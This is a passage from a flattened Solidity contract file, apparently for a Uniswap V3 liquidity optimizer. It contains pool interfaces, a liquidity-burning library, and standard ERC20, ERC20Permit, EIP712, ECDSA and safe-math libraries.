/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
}
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
}
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions
{
}
/// @title This library is created to conduct a variety of burn liquidity methods
library PoolActions {
using PoolVariables for IUniswapV3Pool;
using LowGasSafeMath for uint256;
using SafeCast for uint256;
/**
* @notice Withdraws liquidity in share proportion to the Optimizer's totalSupply.
* @param pool Uniswap V3 pool
* @param tickLower The lower tick of the range
* @param tickUpper The upper tick of the range
* @param totalSupply The amount of total shares in existence
* @param share to burn
* @param to Recipient of amounts
* @return amount0 Amount of token0 withdrawed
* @return amount1 Amount of token1 withdrawed
*/
function burnLiquidityShare(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint256 totalSupply,
uint256 share,
address to
) internal returns (uint256 amount0, uint256 amount1) {
require(totalSupply > 0, "TS");
uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper);
uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply;
if (liquidity > 0) {
(amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128());
if (amount0 > 0 || amount1 > 0) {
// collect liquidity share
(amount0, amount1) = pool.collect(
to,
tickLower,
tickUpper,
amount0.toUint128(),
amount1.toUint128()
);
}
}
}
/**
* @notice Withdraws all liquidity in a range from Uniswap pool
* @param pool Uniswap V3 pool
* @param tickLower The lower tick of the range
* @param tickUpper The upper tick of the range
*/
function burnAllLiquidity(
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper
) internal {
// Burn all liquidity in this range
uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper);
if (liquidity > 0) {
pool.burn(tickLower, tickUpper, liquidity);
}
// Collect all owed tokens
pool.collect(
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
}
}
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {LowGasSafeMAth}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {LowGasSafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
}
/// @title Function for getting the current chain ID
library ChainId {
/// @dev Gets the current chain ID
/// @return chainId The current chain ID
function get() internal pure returns (uint256 chainId) {
assembly {
chainId := chainid()
}
}
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n Γ· 2 + 1, and for v in (282): v β {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ISS");
require(v == 27 || v == 28, "ISV");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "IS");
return signer;
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = ChainId.get();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (ChainId.get() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
ChainId.get(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using LowGasSafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TEA"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "DEB"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "FZA");
require(recipient != address(0), "TZA");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "TEB");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "MZA");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BZA");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEB");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "AFZA");
require(spender != address(0), "ATZA");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping (address => Counters.Counter) private _nonces;
//keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ED");
bytes32 structHash = keccak256(
abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
_useNonce(owner),
deadline
)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "IS");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
/// @title Math functions that do not check inputs or outputs
/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks
library UnsafeMath {
/// @notice Returns ceil(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, ceil(x / y)
function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := add(div(x, y), gt(mod(x, y), 0))
}
}
/// @notice Returns floor(x / y)
/// @dev division by 0 has unspecified behavior, and must be checked externally
/// @param x The dividend
/// @param y The divisor
/// @return z The quotient, floor(x / y)
function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
assembly {
z := div(x, y)
}
}
}
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(aΓbΓ·denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(aΓbΓ·denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a uint256 to a uint128, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint128
function toUint128(uint256 y) internal pure returns (uint128 z) {
require((z = uint128(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
/// @return z The downcasted integer, now type int128
function toInt128(int256 y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
}
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y, string memory errorMessage) internal pure returns (uint256 z) {
require((z = x - y) <= x, errorMessage);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
/// @notice Returns x + y, reverts if sum overflows uint128
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul128(uint128 x, uint128 y) internal pure returns (uint128 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if sum overflows uint128
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
